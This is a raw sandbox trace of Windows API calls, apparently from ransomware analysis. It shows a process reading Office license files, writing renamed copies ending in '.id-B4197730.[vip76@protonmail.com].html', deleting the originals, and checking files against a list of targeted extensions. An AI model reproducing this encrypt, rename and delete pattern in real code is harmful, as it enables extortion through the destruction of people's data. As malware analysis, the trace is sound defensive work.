	[0201.860] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0201.860] SetEndOfFile (hFile=0x500) returned 1
	[0201.860] CloseHandle (hObject=0x500) returned 1
	[0201.860] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.860] SetEndOfFile (hFile=0x594) returned 1
	[0201.901] CloseHandle (hObject=0x594) returned 1
	[0201.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms")) returned 1
	[0201.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0201.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0201.903] lstrlenW (lpString=".doc") returned 4
	[0201.903] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.903] lstrlenW (lpString=".docx") returned 5
	[0201.903] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.903] lstrlenW (lpString=".pdf") returned 4
	[0201.903] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.903] lstrlenW (lpString=".xls") returned 4
	[0201.903] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.903] lstrlenW (lpString=".xlsx") returned 5
	[0201.903] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.903] lstrlenW (lpString=".ppt") returned 4
	[0201.903] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0201.903] lstrlenW (lpString=".zip") returned 4
	[0201.903] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.903] lstrlenW (lpString=".rar") returned 4
	[0201.903] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.903] lstrlenW (lpString=".bz2") returned 4
	[0201.903] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.903] lstrlenW (lpString=".7z") returned 3
	[0201.903] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0201.903] lstrlenW (lpString=".dbf") returned 4
	[0201.903] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0201.903] lstrlenW (lpString=".1cd") returned 4
	[0201.903] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0201.904] lstrlenW (lpString=".jpg") returned 4
	[0201.904] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0201.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0201.904] lstrlenW (lpString=".doc") returned 4
	[0201.904] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.904] lstrlenW (lpString=".docx") returned 5
	[0201.904] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.904] lstrlenW (lpString=".pdf") returned 4
	[0201.904] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.904] lstrlenW (lpString=".xls") returned 4
	[0201.904] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.904] lstrlenW (lpString=".xlsx") returned 5
	[0201.904] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.904] lstrlenW (lpString=".ppt") returned 4
	[0201.904] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0201.904] lstrlenW (lpString=".zip") returned 4
	[0201.904] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.904] lstrlenW (lpString=".rar") returned 4
	[0201.904] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.904] lstrlenW (lpString=".bz2") returned 4
	[0201.904] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.904] lstrlenW (lpString=".7z") returned 3
	[0201.904] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0201.904] lstrlenW (lpString=".dbf") returned 4
	[0201.904] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0201.904] lstrlenW (lpString=".1cd") returned 4
	[0201.904] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0201.905] lstrlenW (lpString=".jpg") returned 4
	[0201.905] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.905] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.905] lstrlenW (lpString="O365HomePremR_SubTrial5-pl.xrm-ms") returned 33
	[0201.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0201.906] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11183) returned 1
	[0201.906] CloseHandle (hObject=0x594) returned 1
	[0201.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms")) returned 0x220
	[0201.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0201.906] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.906] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0201.907] GetLastError () returned 0x0
	[0201.907] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0201.909] WriteFile (in: hFile=0x49c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0201.910] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.910] WriteFile (in: hFile=0x49c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x116, lpOverlapped=0x0) returned 1
	[0201.910] SetEndOfFile (hFile=0x49c) returned 1
	[0201.911] CloseHandle (hObject=0x49c) returned 1
	[0201.911] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.911] SetEndOfFile (hFile=0x594) returned 1
	[0201.914] CloseHandle (hObject=0x594) returned 1
	[0201.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms")) returned 1
	[0201.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0201.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0201.915] lstrlenW (lpString=".doc") returned 4
	[0201.916] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.916] lstrlenW (lpString=".docx") returned 5
	[0201.916] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.916] lstrlenW (lpString=".pdf") returned 4
	[0201.916] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.916] lstrlenW (lpString=".xls") returned 4
	[0201.916] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.916] lstrlenW (lpString=".xlsx") returned 5
	[0201.916] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.916] lstrlenW (lpString=".ppt") returned 4
	[0201.916] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0201.916] lstrlenW (lpString=".zip") returned 4
	[0201.916] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.916] lstrlenW (lpString=".rar") returned 4
	[0201.916] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.916] lstrlenW (lpString=".bz2") returned 4
	[0201.916] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.916] lstrlenW (lpString=".7z") returned 3
	[0201.916] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0201.916] lstrlenW (lpString=".dbf") returned 4
	[0201.916] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0201.916] lstrlenW (lpString=".1cd") returned 4
	[0201.916] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0201.916] lstrlenW (lpString=".jpg") returned 4
	[0201.916] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0201.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0201.917] lstrlenW (lpString=".doc") returned 4
	[0201.917] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.917] lstrlenW (lpString=".docx") returned 5
	[0201.917] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.917] lstrlenW (lpString=".pdf") returned 4
	[0201.917] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.917] lstrlenW (lpString=".xls") returned 4
	[0201.917] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.917] lstrlenW (lpString=".xlsx") returned 5
	[0201.917] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.917] lstrlenW (lpString=".ppt") returned 4
	[0201.917] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0201.917] lstrlenW (lpString=".zip") returned 4
	[0201.917] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.917] lstrlenW (lpString=".rar") returned 4
	[0201.917] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.917] lstrlenW (lpString=".bz2") returned 4
	[0201.917] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.917] lstrlenW (lpString=".7z") returned 3
	[0201.917] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0201.917] lstrlenW (lpString=".dbf") returned 4
	[0201.917] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0201.917] lstrlenW (lpString=".1cd") returned 4
	[0201.917] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms") returned 83
	[0201.917] lstrlenW (lpString=".jpg") returned 4
	[0201.917] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.918] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.918] lstrlenW (lpString="O365HomePremR_SubTrial5-ppd.xrm-ms") returned 34
	[0201.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0201.919] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=23135) returned 1
	[0201.919] CloseHandle (hObject=0x594) returned 1
	[0201.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms")) returned 0x220
	[0201.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0201.919] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.919] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0201.921] GetLastError () returned 0x0
	[0201.921] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0201.923] WriteFile (in: hFile=0x49c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0201.924] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.924] WriteFile (in: hFile=0x49c, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x118, lpOverlapped=0x0) returned 1
	[0201.924] SetEndOfFile (hFile=0x49c) returned 1
	[0201.925] CloseHandle (hObject=0x49c) returned 1
	[0201.925] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.925] SetEndOfFile (hFile=0x594) returned 1
	[0201.928] CloseHandle (hObject=0x594) returned 1
	[0201.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms")) returned 1
	[0201.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0201.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0201.930] lstrlenW (lpString=".doc") returned 4
	[0201.930] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.930] lstrlenW (lpString=".docx") returned 5
	[0201.930] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.931] lstrlenW (lpString=".pdf") returned 4
	[0201.931] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.931] lstrlenW (lpString=".xls") returned 4
	[0201.931] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.931] lstrlenW (lpString=".xlsx") returned 5
	[0201.931] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.931] lstrlenW (lpString=".ppt") returned 4
	[0201.931] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0201.931] lstrlenW (lpString=".zip") returned 4
	[0201.931] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.931] lstrlenW (lpString=".rar") returned 4
	[0201.931] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.931] lstrlenW (lpString=".bz2") returned 4
	[0201.931] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.931] lstrlenW (lpString=".7z") returned 3
	[0201.931] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0201.931] lstrlenW (lpString=".dbf") returned 4
	[0201.931] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0201.931] lstrlenW (lpString=".1cd") returned 4
	[0201.931] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0201.931] lstrlenW (lpString=".jpg") returned 4
	[0201.931] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0201.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0201.931] lstrlenW (lpString=".doc") returned 4
	[0201.931] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.932] lstrlenW (lpString=".docx") returned 5
	[0201.932] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.932] lstrlenW (lpString=".pdf") returned 4
	[0201.932] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.932] lstrlenW (lpString=".xls") returned 4
	[0201.932] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.932] lstrlenW (lpString=".xlsx") returned 5
	[0201.932] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.932] lstrlenW (lpString=".ppt") returned 4
	[0201.932] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0201.932] lstrlenW (lpString=".zip") returned 4
	[0201.932] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.932] lstrlenW (lpString=".rar") returned 4
	[0201.932] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.932] lstrlenW (lpString=".bz2") returned 4
	[0201.932] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.932] lstrlenW (lpString=".7z") returned 3
	[0201.932] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0201.932] lstrlenW (lpString=".dbf") returned 4
	[0201.932] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0201.932] lstrlenW (lpString=".1cd") returned 4
	[0201.932] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms") returned 84
	[0201.932] lstrlenW (lpString=".jpg") returned 4
	[0201.932] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.932] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.933] lstrlenW (lpString="O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 37
	[0201.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0201.933] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11635) returned 1
	[0201.933] CloseHandle (hObject=0x594) returned 1
	[0201.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms")) returned 0x220
	[0201.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0201.934] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.934] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
